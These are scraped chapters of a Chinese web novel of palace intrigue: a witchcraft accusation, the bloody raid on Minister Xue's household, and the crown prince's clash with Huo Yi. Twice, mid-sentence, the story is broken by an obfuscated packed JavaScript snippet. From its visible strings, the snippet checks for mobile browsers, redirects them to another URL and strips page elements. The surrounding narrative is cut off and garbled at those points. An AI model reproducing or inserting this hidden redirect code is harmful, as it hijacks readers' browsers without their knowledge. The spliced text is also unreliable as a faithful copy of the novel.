太子边念边往外走,刚走到公主府正门照壁处,就见候在门外的长缨卫急得原地乱转,他连忙跑了出去,还没来得及问,鹅毛大雪便迎面而来。 他眼前一黑,只听长缨卫的声音回荡在公主府前的长巷里:“有人举报薛尚书府中家人行巫蛊,指挥使霍轶拿着授命圣旨,已经带了虎贲卫往薛府去了!” ** “叔!”嵇阑赶在嵇阙被叫走前堵住了门,他猛喘一口气,在转瞬湮灭的呵气里拽住嵇阚的手臂一字一句道:“我见到了太子。” 嵇阙盯着嵇阑片刻,扬声对侍从吩咐:“告诉霍家人,我马上就到,不准提起他。” 侍从疾步退下,嵇阑略略定心,“叔,太子想要拉拢咱家——” “一仆不侍二主。”嵇阚朝正堂的方向仰头,“那边等着给我们家下达命令的,才是我嵇家的主。” 热气散去,再无遮掩,嵇阑的眼睛里闪出异光,“叔,我们就要一辈子给霍家当奴仆嘛?” “你是被富贵女色迷了心——” 嵇阑死死拉住要往外走的嵇阚,“翻身做主的机会就在现在!” 嵇阚止步,“霍辄和陈王都在陛下身边。” “但太子监国!” 像是听见了什么天大的玩笑,但嵇阚没有嘲笑的心思,一转头又看见嵇阑满脸的坚定和野心,不禁苦恼起小辈的眼孔浅显,“但太子只是太子!五柞宫的那位才是陛下!” 他扶正嵇阑的脑袋,脸上那道狰狞的伤疤里都流淌出痛惜。 多么聪明机灵的孩子,怎么就不明白呢? “陛下心里的太子位,一直都是陈王的!现在陈王要去就藩,霍家不得已费尽心思颠覆东宫,只要能成,陛下难道会去追究吗?陈王弱不禁风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018661|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不禁事!就是个乳臭未干的娃娃!他能扛什么基业?今后不全要靠着他的母族去压制这化隆遍地的公侯!” 嵇阑咬紧牙根,更近一步,“叔,别忘了,宁远还有个燕王,英国公、申国侯、襄阳侯、宁安侯、永定伯这些都是老牌的公侯,他们手中的人脉与银钱,比起永昌侯、永诚侯、平凉伯、武定伯、长兴伯,还有咱们家忠义侯,丝毫不落下风!更别说满朝的风宪官,还有大楚上下万万双眼睛!他们全看着呢!看着咱们助纣为虐、杀良冒功!” “他们没有兵!”嵇阚吼道:“没有兵权,他们就什么都不是!” “那兵权在谁的手里?是霍家吗!” 白雾骤散,嵇阚一愣。 天越冷,地越白,嵇阑的双眸里那把边塞狼烟火就越燃,“宁海、南越、靖臣、云仑,四大将军哪一个姓霍?再看那些封疆一方的布政使,哪个又是霍家的故旧?谁想一辈子匍匐在恩人的脚下,一辈子做他们一家的牛马?若霍家真有这样的号召,陛下第一个就会杀了霍辄!” 他话中的威势几乎压得嵇阚喘不过气,在这本就呼吸有如刀割的冬天里。 嵇阑也喘不过气,但他还要继续地劝,千万不能让嵇阚回心转意再投霍氏的阵营。 “叔,霍家是被逼得破釜沉舟,没了陈王这张牌,他们就什么也不是!所以现在他们围了薛正衢家,连个证据都不要,就是为了赶紧提刀去东宫杀太子!因为他们出师无名又手无兵权,等太子反应过来,第一个死的就是大理寺狱里的霍开武!叔,霍辄是个能人,你敬英雄故而敬他,但他的儿子呢?他的弟弟呢?除了霍辄他们全家都是烂果子!果子烂一筐!咱们不能被他们带进沟里!” 嵇阚一时失神。 “霍辄是咱家的恩人,但其他人不是,现在和太子叫板的是霍轶不是霍辄,霍辄和陈王还远在五柞宫,对化隆城里的事情能知道多少?是霍轶假借他的名号四处协恩图报!这霍轶是个什么货色,叔叔你难道不知吗?连逼宫这样的事情他都敢想,如果咱们真帮他杀了太子,陛下回神后第一个要杀的不是陈王的舅舅,而是我们这些外人!” 嵇阑紧攥嵇阚的手,“叔!我们好不容易得到的安宁,就要这么断送了吗?” 嵇阚的视线落回眼眶,“你爹会怪我没有出手。” “因为他受的恩惠最多。” “你是他的儿子。” “但他不把我当作儿子。” 嵇阚定定看喘气的他,似是想把嵇阑这一副风流世家子的皮囊看透,直看清他那把胆敢弑父弑君的逆骨。 逆骨啊! 杀人嗜血的逆骨,就长在他最欣赏的晚辈身上。 怎么办呢? 还能怎么办呢? 嵇阚抽出自己的手,重重扫去嵇阑肩上的积雪,“好好呆在家里,等着当你的驸马都尉。” 静等嵇阚平稳有力的脚步声熄灭,嵇阑缓缓转身,松一口气,拧眉扬唇,望向天际纷纷扬扬的大雪。 他当不了沈磐的驸马。 怎么办呢? 还能怎么办呢? “来人。” 他豢养的死士鬼魅般从阴暗的角落应声走出。 “薛家能挖出什么巫蛊?薛正衢和太子妃几乎断绝了往来,他一个实心眼办实事的小老头能埋什么巫蛊?太子应该正带着长缨卫守在薛府门外,就趁着现在僵持不下,将早就准备好的说辞散布出去吧,毕竟——” 说着,嵇阑突然问:“和霍开德走得最近的是平凉伯家的金正彪吗?” 死士道:“和崔宏斌争风吃醋的就是金正彪。” 嵇阑点点头,“那就选他吧,反正他们鬼混时什么话都敢往外抖,他爹金广和就是胡廷槐之死的见证者,他会偶然知道霍家拿到了胡廷槐的蛊虫不足为奇。再有——” 他抖抖衣襟上沾满的雪点,搓着发红的手,往更偏更冷更黑的偏门走,“阳安伯也该知道他儿子究竟犯了什么事,好歹在窦凯旋手里做只明白鬼。” 说完,嵇阑哼哼起绮丽的乡野小调,间或能听见一句含含糊糊的“善恶终有报”或者“天道好轮回”,死士屏息塞听,迅即赶往落日前的闹市口。 36. 第三十六章 荒山冢(九) “长平!沈磐!” 辛翩翩顾不得团圆等人的阻拦,推开房门就冲了进去,一把拽起床上的沈磐,“快醒醒!醒醒!五柞宫来信了!” 沈磐迷离的眼睛刹那清醒,“怎么说!” “陛下近来越发不好了,我爹给我写了三次家信全被拦在了路上,这次是我爹的心腹亲自回京送的消息,以我大姑姑生辰为由,这才经过层层检查被放了回来。” 沈磐脸色凝重:“看来锦麟卫完全把控了五柞宫和京城的消息往来……” “最重要的是!陛下不仅让霍轶调查巫蛊案,还给了他入宫搜查的权限!我来的路上听见霍轶随便捏了个借口就要去挖太子妃的娘家,路上还有人说霍家手上有蛊,这次只要敲开了薛府的门,薛家必定有巫蛊之罪!” “团圆!”沈磐掀开被褥坐起来,踩着鞋子就往外跑,迎面撞上携风带雪的团圆,被寒意激得猛然咳嗽起来。 辛翩翩连忙抽了床尾的狐裘追了过去,“穿好衣裳!别再冻出病来。” “团圆!太子他们往哪里去了?立即追去给他们送信!” 团圆哭丧着脸:“太子殿下接到消息,就去薛府了!” 辛翩翩圈住沈磐,“定是来得及的!霍轶就算有圣旨,也绝对不敢和太子动手,不然他就是造反!” 沈磐倚在辛翩翩的肩上,有些虚弱地吐出一口气,“霍轶把入宫搜查的权限隐瞒不说,恐怕早就预谋好了今天的一切,他……他是怕过大的权力过早激怒东宫,又是想在四面楚歌之际打我们一个措手不及……” 辛翩翩苦恼又愤怒:“陛下怎么能把这样的权柄交到小人手上!” 沈磐重重阖眼,“走,我们入宫。” “入宫?外城马上就要落钥……” “拿上我的玺绶,去启明门!启明门可以通行!二哥现在身边的人不多,根本不可能是有备而来的虎贲卫的对手……再有,无论薛家出不出事,霍轶都不能留,必须让内阁下令。” 辛翩翩到底是被沈磐话中即将席卷化隆全城的血雨腥风给唬住了,她活着了这么多年,到底从没想过自己也会深入一场流血宫变,她还是开口劝了:“长平,真的要这么做吗?这样就是在和陛下斗!有了梅阁老的前车之鉴,内阁不会忤逆陛下的!” 沈磐手上不停,匆忙穿戴衣物,听见辛翩翩这样怯弱的劝解,她霍然回头盯住她的美眸,“从陈王诞生的那一刻起,东宫就已经在和皇帝斗了!” 辛翩翩一阵恶寒,颤着嘴唇辩解:“陛下再不喜欢燕王,还是看重太子的!陈王即将就藩,陛下还是收了溺爱之心,是真真切切在为东宫铺路的!” “那他为何要让霍轶主查城中巫蛊!藉寇兵而赍盗粮,他就是故意的!” 沈磐系好狐裘的丝带就大步往房外走。 “长平!” 沈磐再度回头,就见往日张扬明艳得比凤冠顶珠还要璀璨的姑娘此刻苍白着脸,曾经比莺啼还要婉转的声音也被恐惧榨干。 “长平……这才是谋反。” 一息。 两息。 三息。 门外的风雪倒灌进来,把门板吹得咯吱乱响。沈磐两鬓的碎发也随风舞起,舞在雪点中,舞在眉睫间,舞在视线里。 “父慈子孝,父既不慈,胡求子孝?子不逆父、臣不反君,孝武之戾太子是也!这就是十岁那年,宁先生让我们做赋,我没有交上去的文章。” 说完,沈磐转身就冲进了雪天里。 ** “可微!” 焦头烂额的萧蘋见郇渰领着刑部仵作前来,顿时如见救星,“起云兄!” 萧蘋一把拉住郇渰要施虚礼的手,带着他就往幽闭的大理寺狱里走,“岳筑璜被种了蛊,刚刚咬舌自尽,趁着蛊虫还没死赶紧去看看。” 郇渰被岳筑璜尸身上散发的恶臭熏得睁不开眼,捂着口鼻问:“现在是隆冬,尸体怎么腐烂得这么快!” 围在岳筑璜尸体前翻找脏腑内残余蛊虫的大理寺仵作给刑部来人让一个位子,却在站起身的刹那头昏眼花向后栽倒,萧蘋眼疾手快拉了一把,口鼻却正好被缺口处的腐败恶臭冲个正着。 他后退的步伐一个踉跄,撞上伸手搀扶的郇渰。 “快用布遮住口鼻——” 萧蘋拽着郇渰出了牢门,听刑部那白头仵作蹲身翻了两下摇头道:“不行,这蛊虫得靠气味辨别,诸位大人往后退退。” 萧蘋不再逞强,拉着郇渰站到了远处牢房甬道尽头的砖砌台阶上,“我听说我们大理寺的仵作说,刘老专擅西南偏邪诡道杀人验尸之法,但我听着他的口音更像是北边的?” 郇渰轻声道:“刘老是辽东人,他很少提起这些事,还是我听他的大徒弟说,刘老以前并不擅长这些,是在升平年间暗自拜了高人为师,方才习得看家本领。也是最近,刘老上了年纪打算回乡养老,一道吃酒时他和我说起的,是江南道苏州府的一位验尸娘子无偿传授他的技艺,当时送他去苏州府拜师的人还是我的伯父。” “验尸娘子?” 郇渰喟叹:“是啊,刘老对她赞誉有加,后来听说这位娘子家中遭遇变故,年纪轻轻就在一场大火中身亡。” 萧蘋叹息:“天妒英才。” 郇渰听着牢房里经验老道的大理寺仵作都在忍不住干呕,不禁担心:“这蛊虫找得出来吗?” “尽力吧,这里找不到,便去窦凯旋那里找。” 说起窦凯旋,萧蘋又恨又悲,“岳筑璜很早就不能说话了,人痴痴傻傻,字也写得颠三倒四,于是我们特意请了太医院的医生,给楚鹏、王必大等被窦凯旋提入狱中的嫌犯都检查了遍,偏偏在阳安伯崔恒才身上发现了蛊虫噬咬的印记,一盏茶的功夫,崔恒才就被折磨得想要自杀——” 一说到崔恒才发作时的生不如死的惨状,萧蘋就想到了上午长平公主沈磐叙述时的平淡。 萧蘋回神,“陶寺卿已经亲自去文正殿找冉大人了,窦凯旋滥用私刑,逮捕令很快就会下来。” 郇渰蹙眉:“窦凯旋为何还要给崔恒才下蛊?” “就是要咬死岳筑璜。毕竟,崔恒才知道了他儿子究竟犯了什么事情,这才打算承认自己的外室的确施行巫蛊咒害正妻,他亲口说他上下疏通的那个人就是窦凯旋,窦凯旋也亲口答应帮他遮掩。后来事发,窦凯旋威胁他,让他指认岳筑璜才是与他串通的官员,不然就不给他解药,还要下蛊迫害他一家老小。” 想到今早大理寺的闹剧,郇渰忧心忡忡:“这蛊没有解药吧?” 萧蘋深吸一口气,又被远处飘来的恶臭熏得头晕眼花,“就算有,窦凯旋也不会履行承诺的,不是么?大抵他儿子崔宏斌也被下了蛊,只是还没发现。我已经派人去阳安伯府了,羊车巷那里也还没有消息,很可能……凶多吉少。” “楚鹏呢?现在所有的证人里,就只有他的证词在直接指认岳筑璜了。” “谁知道呢?撒出去的人手到现在还没有回应。”萧蘋忧重愁深,“听说楚鹏是岳筑璜的心腹,心腹都被筛成了这个样子,真不知道在这化隆城里,还有谁值得相信。” 郇渰叹气,两人就见刘老擦着手走了过来。 “不成。” 萧蘋还是止不住惋惜。 “要是孙太医还在就好了。” “是年初病逝的那个孙太医?”萧蘋问。 刘老点头:“他是岭南人,在这些方面的造诣颇深,实在是可惜了。这样的尸首不能再放,火化了才好。” 萧蘋和郇渰默不作声走到岳筑璜已经烂无人形的尸体前垂首一礼,萧蘋做主道:“那就火化了,等陶寺卿回来我去和他说明,对了云起兄——” 说着,萧蘋想起一事,但碍于环境恶劣,只等两人出了大理寺狱他才说道:“上个月你问的那位玉器修复的老先生,前几日回信了,他现在在洛阳东都,你若着急,就让可靠之人把东西送去。” 提起这个,萧蘋只觉得郇渰的神色又沉重了几分,脚步一顿,连身后慢吞吞跟着的刘老都被挡住了去路。 萧蘋侧身给刘老让了路,拍拍郇渰的肩膀,“有什么误会,还是要说清的好。这些日子你一直呆在刑部,虽然是办案紧迫,但家事同样急于星火,若横生变故——” 正劝着,两人俱注意到刘老回了头,又转过身慢慢走了过来,郇渰连忙恭敬要问,就见刘老被松垮的皮肤压得狭窄的眼裂即刻开大,浑浊的瞳孔里细腻勾勒出雪点中自己模糊的轮廓。他没有儿女,常年寥落,只有手下几个徒弟前后侍奉。待见这些徒弟时,他总是个严师,郇渰从未见过他这副慈父模样。 但这样的眼神总让郇渰觉得,刘老也想透过他的皮囊去看什么人的影子。 果然,刘老道:“下官不日就要辞阙,有些话迟说了几十年,只希望现在还不算晚。” 郇渰微怔,“您请说。” “刑部的值房,实在不适合久住,住得久了,难免沾染故人的病气和霉运,坏了自己的前程和幸福。” 父亲曾说他和已故的大伯父相像,什么都像,家世、模样,乃至于娶的妻子、供职的署衙,都像,就像是他的大伯父轮回转世、又投胎到了他的身上。 父亲常常睹物思人,便是随手写了个字,他都能回忆起他少年时代的悲欢种种。他虽然说着,不希望自己像他的大哥那样艰难辛苦,可这是种压力啊,总会让人觉得,父亲还是希望自己再努力些,再与伯父相像些,去复刻他的功业便一朝成为他们父子心里不可诉诸于人的期望和重担。 那些他考不到的科举名次、他处理不了的人情往来、应对不完的风云变幻,那样辉煌的仕途、艰辛的旅程、那样伟岸永恒的纪念,那样雨过天晴又晴天霹雳的感情,都成 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张永一率先下马,扶住差点从马背上摔下来的太子,抬头就见镂空照壁上挂下了自对面喷溅上的一串鲜血,血迹从孔洞中穿过,沿着壁上能工巧匠的刀痕斧迹一路向下,如同游蛇一般,最后盘踞在了浮雕蝙蝠的翅沿。 那么薄的翅膀,却要载起这么多的鲜血。 太子再也维持不住储君的风度,甩开张永一就冲了进去,却在绕过屏风后懵在原地。 正堂的台阶上站着薛正衢,他横抱着幼女薛元霭,一步一颤地从房檐沉重的阴影里走出。 这是张永一第一次见太子妃的胞妹薛元霭,不过十来岁的小姑娘,那张和太子妃长得有五分相像的脸就这么仰在了血泊里。这不是别人的血,是从她破了皮见了骨的额头里汩汩流出的鲜血,不,不仅是额头,还有后脑、两颞,到处都是凝结成血痂的黑紫色。 薛正衢也是这样一身黑紫色,像浑身染了血。 那天谆谆叮嘱他时慈爱无比的一双眼也像被人挖去,业已被流年岁月蚕食得沟壑纵横的一张脸上只剩下两只深洞。 洞中涌血。 薛正衢看见太子时,便流下一滴血泪。 闻声不详,张永一骤然拔剑,在拔剑的一刹那也看清了游廊上涌出的虎贲卫的铁甲上,沾着即将凝结的血迹。 霍轶攥着一只已经被扯断头的布偶娃娃从虎贲卫身后走出,张永一的剑即刻指向他的咽喉要塞。 “本将在薛小姐的玩偶中发现了这样的邪物——”霍轶张开五指,那断头的布偶便摔在了脏雪之中,瞬息洇出了一片血红,血红中用金漆写就的诅咒之词淬出了火光。 霍轶盯着太子一字一句道:“这是皇太孙送给薛小姐的东西,薛小姐亲口承认。” “你撒谎!”薛正衢的声音是狂风过刀剑,刺得张永一心剧疼。 吼过这声,薛正衢就像是被抽干了所有力气,低头看向爱女时浑身都颤抖起来。他差点抱不住薛元霭,只能狼狈地向后跌坐在冰冷坚硬的台阶上,任由自己的尾椎摔得粉碎了似地疼痛,也要死死捧住逐渐失去温度的女儿。 脸上的血都要干了,雪还在不停地落。 那样一个风度翩翩的小老头,第一次挤出怨毒的神色,就是冲势在必得的霍轶而去。 “元霭说的是……分明是你!你把东西放进去的!” 他要吼出血来:“是你自导自演!是你杀了我薛府满门!是你狼子野心!” 他的眼里都是血。 “是你要嫁祸栽赃!是你瞒着陛下要图谋皇权!” 说罢,薛正衢枕起女儿的脖子,想抱着她重新从地上站起来。 可他老了,太老了,老得一夜间熬干了心血再也使不出半点力气。 太子即刻冲过去接过了薛元霭,可刚一抱住薛元霭,他就低头看见自己的袖子上洇湿了一大片鲜血,而薛正衢的袖子被血块粘住,这用力的一撕便将袖子撕开了一道口子。 破碎的布料还粘在薛元霭颈后。 太子慌忙抬头,蓦然看见薛正衢的眼里尽是决绝。 “太子啊!” 他哭了,扶着地颤巍巍站了起来,薄薄的一层积雪里便按下了他紫红的手印。 “太子!” 他满脸泪痕。 太子张口要说,就见眼前的薛正衢像风一样卷过,一眨眼的功夫就朝歪头挑眉的霍轶冲去。 张永一浑身一震,持剑的右手猛地向后一抽,刚要借着这股力追过去拦下薛正衢,就听“噌”的一声,霍轶身边的虎贲卫副使即刻拔剑挡到薛正衢身前。 他已经双脚腾跃,可再度落下时只接住了薛正衢的尸体。 喉口破开,血溅不止,不过两息,他们便浑身是血。 手边是那只断头的布偶。 张永一一瞬茫然,扭头看向檐下抱着薛元霭的太子也是一瞬茫然。 37. 第三十七章 荒山冢(十) 薛正衢死了。 像北风带走的一口热气。 太子的魂重新归了窍,转瞬间目露凶光。 霍轶快速后退三步,还举着剑的虎贲卫副使木楞楞地盯着剑上的血看,反应过来后也即刻退到了霍轶身边。 副使结巴道:“是……是他自己撞上的……” 霍轶却眯着眼睛高声打断:“薛正衢畏罪自杀!” 得了上司的肯定,虎贲卫才有些涣散的气势立时煊赫。 张永一的余光扫到自己抛在雪里的剑。 太子捧着薛元霭的尸体走了过来。 长缨卫接过尸体,仍留了太子满身的血。 顺手,太子拔出了长缨卫的佩刀,一步步朝霍轶走去。 “本将承陛下钦点,奉圣旨主查此案!太子殿下是要对陛下不敬嘛!” 霍轶话说得中气十足,步子却悄无声地更退了寸许。 便是这寸许之地,张永一即见太子挥刀,重重朝霍轶劈去。 利刃破风,又灌足了持者的恨意,霍轶即刻拉过身边的指挥副使往身前一挡,那样魁梧的、着胄披甲的行伍之人居然就被太子一刀给砍翻在雪地里。 霍轶被这力道惯得连连后退,退至回廊,无处可退,便只能拔出自己的佩剑迎上太子瞬息逼近的刀锋。 “你擅杀朝廷重臣!” 霍轶心神动荡,一个翻腾跳出了十几步,太子也趁此大喘上一口血腥气。 “意欲谋反!”太子提刀而上,“霍氏谋反格杀勿论!” 张永一不敢随意放下薛正衢的尸首,刚艰难握上自己的剑柄,就听身后长缨卫与虎贲卫兵刃相接,血溅之声不绝,纷杂的脚步喊杀回荡在逐渐空落的庭院,衬得头顶盘桓的风与雪呼啸得更加肆虐。 他低头看见,薛正衢还瞪着眼,眼里还是死前的不甘和决绝。 张永一深吸一口气,又抛开了剑,抖着手给薛正衢合眼。 可他的尸体冷了,不肯闭眼、无法瞑目的恨还是热的,热得滚烫,要将冰天雪地里的张永一烫得五内俱焚。 ** 文正殿的灯火已恭候多时。 甫一见太子和张永一满身是血地走进来,文正殿内的所有人都被惊得立时站起,冉琢明还没来得及开口,就见在角落里坐立不安的长平公主沈磐倏尔冲了上去。 “二哥!” 见妹妹这副心惊胆战的样子,太子就算再难也本该扯出一个笑来宽慰她的,可他走了几步,视线就越过沈磐,落在了半步也不敢迈开因而站在原地止不住发抖的太子妃薛元映脸上。 没有得到太子的回应,沈磐的视线一偏,偏到张永一脸上,刚好与他哀恸的目光相接。 “霍轶谋反,血……血洗了薛府。” 沈磐懵在原地。 殿内的人安静了好一会儿,才听得薛元映止不住丧亲的悲痛呜咽起来。 沈磐木楞楞地退后一步,让开的距离恰好够太子沈碣几步走到薛元映的面前。沈碣本想张开手抱住要跌倒在地的她,可薛元映后退半步,扶着椅子哭跪在冰冷的金砖地上。 他身上全是薛家人的血。 还有虎贲卫的。 冉琢明稳住声音,“先送太子妃回宫。” 沈碣没有反对,只在薛元映坐过的椅子上坐了下去。 这一坐,他便精疲力竭。 冉琢明不忍再看颓丧的太子,朝尚且冷静的张永一发问:“霍轶人呢?” 张永一单膝跪下,“逃了,但殿下已经传令封锁城门。” 听见了张永一的声音,沈磐这才抬起麻木的腿脚,重新走回太子身边。 冉琢明看向兵部侍郎房桂稻,就见意料之中的,房桂稻轻轻摇头,便知道城门守备只怕拦不住圣旨在身的霍轶。 “先将在京的霍氏族人看押起来,即刻派使者去五柞宫陈情。” 沈磐觉得手腕一痛,低头就看见太子沈碣攥上了她的小臂。 郇翾道:“我亲自去。” 冉琢明看向太子,自然也看见了太子紧攥住沈磐的手,心中悲叹,“锦麟卫既然控制了五柞宫与京城的联系,的确需要特殊的人当面陈情。” 郇翾也向太子劝说道:“我是陛下亲封的礼部尚书,入阁助首辅燮理天下之事,还有爵位在身,锦麟卫再无法无天,也不敢轻易为难我。殿下,臣是最好的人选。” 众人都看了过来。 这是泰山在上的重压,压得太子一直挺拔的脊梁都在不知不觉间垮下。 沈磐覆上他的手,出声道:“诸位大人,五柞宫不仅仅只有锦麟卫。” 张永一抬头看她,她双眸明亮,映着火光,“还有乔指挥使带领的千余阴阳卫,自化隆至五柞宫的一路上也有不少阴阳卫把守。锦麟卫敢如此大胆地截断英国公的信件,乔指挥使会坐视不理吗?这一路上的阴阳卫会视而不见吗?” “公主想说什么?” 沈磐看向心知肚明的冉琢明,“五柞宫里恐怕已经变天。” “公主慎言!” 沈磐径直对上吏部尚书方继昌,声音响亮:“英国公的心腹业已将陛下的近况说得详细,陛下轻信太医施汜、行招魂邪术,就英国公所说,陛下不见任何人,偶然一次得到召见,陛下也是浑浑噩噩、神志不清!如此这般,五柞宫传出的诏令谁知道是陛下的旨意、还是陛下身边有心人的阴谋!” “公主殿下!”方继昌蓦地站起,身边的郇翾刚忙把人拉下,严肃道:“所以,现在就需要臣亲自去五柞宫一探究竟。” 沈磐攥拳,小臂上的力道松了些,她的话却逼得更紧:“那之后呢?万一有去无回呢?对上一呼百应的大将军霍辄和天之骄子文坛奇葩的陈王,乃至被小人用邪术控住的陛下,郇侯您一个人能有多少把握?” 她环顾四周,视线扫过或苦恼、或震惊、或哀重、或愤怒的一众人的脸庞,声线也成了一把匕首割过每个人的心堂,“霍家早拿到了入宫搜查的权限,却不敢轻易动手,就在霍开武乃至霍氏一族巫蛊真相暴露之后,他就顺势着急心慌随意编纂借口栽赃嫁祸,还公然在薛府犯下如此大案,更敢和储君兵刃相见!他哪来的胆子?他哪来的依仗?就凭一份来路不明的圣旨,霍轶就敢绕过内阁、绕过三司、绕过监国太子,随意决定朝廷宰臣、东宫戚丈的生死?说这一切没有预谋谁敢相信!” 沈磐半步迈前,“诸位都是遍读文史的大才,必然不会忘记扶苏之死、戾太子之殇!凡是预则立不预则废,我们就要坐等五柞宫?坐等自己人头落地?” 言及此,文正殿里霎时死寂。 冉琢明眼光沉沉,“殿下,动了城防守备、调了皇城兵马司的人,那就是拉弓没有回头箭,五柞宫里必须要出事。” 太子的手不知何时已经松开,沈磐径直走到冉琢明跟前,隔着长长的书案质问:“如果五柞宫里真的出事了但所有的兵马作壁上观呢!” 沈磐摔袖,看向枯坐着不能发一言的枢机要臣们,“你们都是忠君爱国的良臣贤臣,不论今后东宫里是新人还是旧人,你们青云依旧、还能功名千秋,事不关己——” “殿下。”冉琢明撑着书案打断她,“我们或许不是良臣贤臣,但也绝对不会是小人。” 他黑洞洞的眼里,流出来的居然是哀求,“殿下,你要放心。” 沈磐眼睛一涩。 可这要她如何放心? 他们不敢调兵,不就是害怕皇帝的权威和自己的名声吗?他们都有妻儿老小,他们都有软肋,他们都有退路,可是东宫已经走上了绝路,东宫要怎么退!他们能赌五柞宫,但他们赌不起! 沈磐平抑心中潮涌,阖眼低头。 瞬息,她问:“冉大人有什么想法。” 张永一听得,沈磐已经去了气力。 她也好像累了。 一如还坐在那里一动不动的太子。 冉琢明深吸一口气,“皇城兵马司不能动,两都兵马司也不能动,但外城十二卫衙门里的人都可以用——” 沈磐轻笑:“就这些人,长缨卫要警戒东宫,羽林、府军、麒麟保卫宫城,玄武卫看守紫微宫,衙门里留守不过百人,朱雀、凤翔专司皇嗣、宫眷出行,近年堕怠不堪指望,唯一能倚靠的就是拥有骑射兵的骁骑卫和金吾卫。这些人加起来,能和锦麟卫抗衡吗?” “殿下,他们不是去逼宫……” “不,他们是去——” 沈磐张口,才发出前两个“是去”的音节,就觉得手背一热,低头就见跪在中央的张永一居然起身走到了自己身边,还在众目睽睽下胆大包天地握住她的手! 沈磐怔愣在两人肌肤相触间的温濡里,没看见张永一的摇头,也没看见冉琢明对张永一一闪而过的惊艳。 “殿下,他们也不是去清君侧。” 周围被这一幕惊骇到的重臣这才纷纷理解了张永一的僭越。 “清君侧”这三字,可以由首辅冉琢明说出,也可以由东宫太子说出,更能由他们在座的每一个男人说出,独独不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此刻闻言,她仰头望天,黑黢黢的天,白雪只在迫近眉梢的一刻显现。 “有什么好打的呢,总归会沾得满头都是。” 她话有惆怅,张永一知道,她离开了文正殿,心还牵绊在那里不得脱身。 果然,她歪过头笑道:“张永一,你信不信如果陛下还是清醒的,东宫依然在劫难逃?” “霍轶蒙蔽圣听……” “蒙蔽也好,他全都知道也罢,东宫都逃不过的。” 张永一微愣,“公主,陛下还是心系太子的。” “你连他的面都没见过几次,就敢这么笃定。”她低头嗤嗤笑起,“人啊,总是想着这世上有着绝对正确的公义,叫它‘上邪’,好像它越高越远,它就越对越可靠。如果暂时没有回报,那也要说一句:善恶有报、时候未到。” 沈磐呵气,“皇帝是天子,他很高很远,站得高看得远,便被人想着永远是圣明的,如果此刻不够圣明,那一定是有人蒙蔽视听、让他看不见听不到,所以做不出最圣明的抉择。” 她扭头笑望向他,“你觉得我怨气很大吗?” 张永一几欲溺毙在她的眼波里。 “我也觉得。” 她望着没有尽头的宫道,“总觉得满朝文武心里如此英明神武的皇帝陛下,会是踩人尸骨攀云而上的私欲贱奴。总觉得他就像是固执的小老太太窦漪房,逼着不可能之事去成真,最后搞得无人生还。总觉得他终于答应让陈王就藩只是向时局低头,帝王的头颅多么宝贵,怎么可能一直低着,所以他让霍轶闹事,又或者借着霍轶闹事向满朝上下押错宝贝瞎了眼的人复仇,向不识好歹的东宫全家复仇。” 张永一看着她咬着嘴唇,硬生生克制了自己好像飒飒落雪般一时难停的怨怼。 过了好久,东宫的飞檐出现在枯枝雪梢,沈磐走上僻静的小道,张永一浑身浴血把看守此路的长缨卫吓了一跳,“张……张佥事!参见公主。” 过了关,便是东宫梅园。 沈磐驻足,“去换件衣裳,别把人吓到,太子妃一定在等你回话。” 张永一点头。 随即,见她一人摸黑走向梅园深处的演花殿。 张永一记得,在那里,年初得见沈斫、见沈仪明、见真心。 38. 第三十八章 “渰儿,我明日就要出发,你和昇儿要好好照顾家中,尤其是你们母亲,萦儿和她姑姑一直呆在苏州,没有个着落,和张家的婚事也没促成,引得她近来思虑重,身上也不大好……”郇翾叹气。 “儿子明白,父亲放心。” 郇翾对着温和顺从的郇渰叹气,“我听郇渊说,你和公主吵架了。” “是我惹她生气。” 郇翾端详他片刻,“也罢,你回去吧,我也没什么要嘱咐了。” “好,父亲早些休息。” 郇翾摆手,转身继续收拾他的行囊。 郇渰推门,就见儿子郇渊站在门后,“哈哈”笑着挠挠头,俨然一幅偷听被抓包的羞愧尴尬模样。 见父亲沉下脸,郇渊赶忙大声喊:“爷爷!” 郇翾停下手中动作,往后探头,“哦?郇渊来啦?”他一扫郇渰叠臂,连忙在儿子开口训斥前把孙子叫到跟前,“来来来,明天爷爷就要出门公干,有一段日子见不到郇渊……” 郇渊滑头,听得出爷爷在给他台阶,连忙叽里咕噜滚下去,“啊!那我会很想念爷爷的!”说着,他绕过郇渰跑进去抱住郇翾的腰。 见他们祖孙两个同仇敌忾向自己,郇渰无奈,扔下叽叽喳喳嘻嘻哈哈的一老一小往自己和沈碧的院落走去。 他有几天没有回来,一回来就从窗上看见了沈碧娴静如花的影子。她在看书,昨夜她才替长平公主坐镇退敌,今夜便能从从容容地看书,任凭窗外风雪鬼哭狼嚎,她自岿然不动沉于自己的世界。 读书时先生说,这样的人终成大才。 这样的大才困在这个院落。 郇渰不敢敲门,徘徊几次的僵局终于被路过的女婢打破:“世子您回来了?” 这就吵到了沈碧。 郇渰只能推门,在门口边掸着身上的雪,边瞟着沈碧的方向。 “宫里怎么样?”她靠在小几旁,合上手中书,抬起头问自己。 “薛家遭难,明天爹要去一趟五柞宫。” 她垂睫思索片刻,“这是谁的主意?内阁的?” 郇渰点头,“也是太子的。” “长平在宫里?” “对。” 他们这就无话。 自从郇渊出生后,他们就不常睡于一室,而今沈碧不表态,像是忘了他一样沉默地想事情,他就只能站在屏风旁的炭炉前烘手,装得好像他也很从容。 终于,等他浑身的血都烫了起来,沈碧抬头问:“还有事吗?” 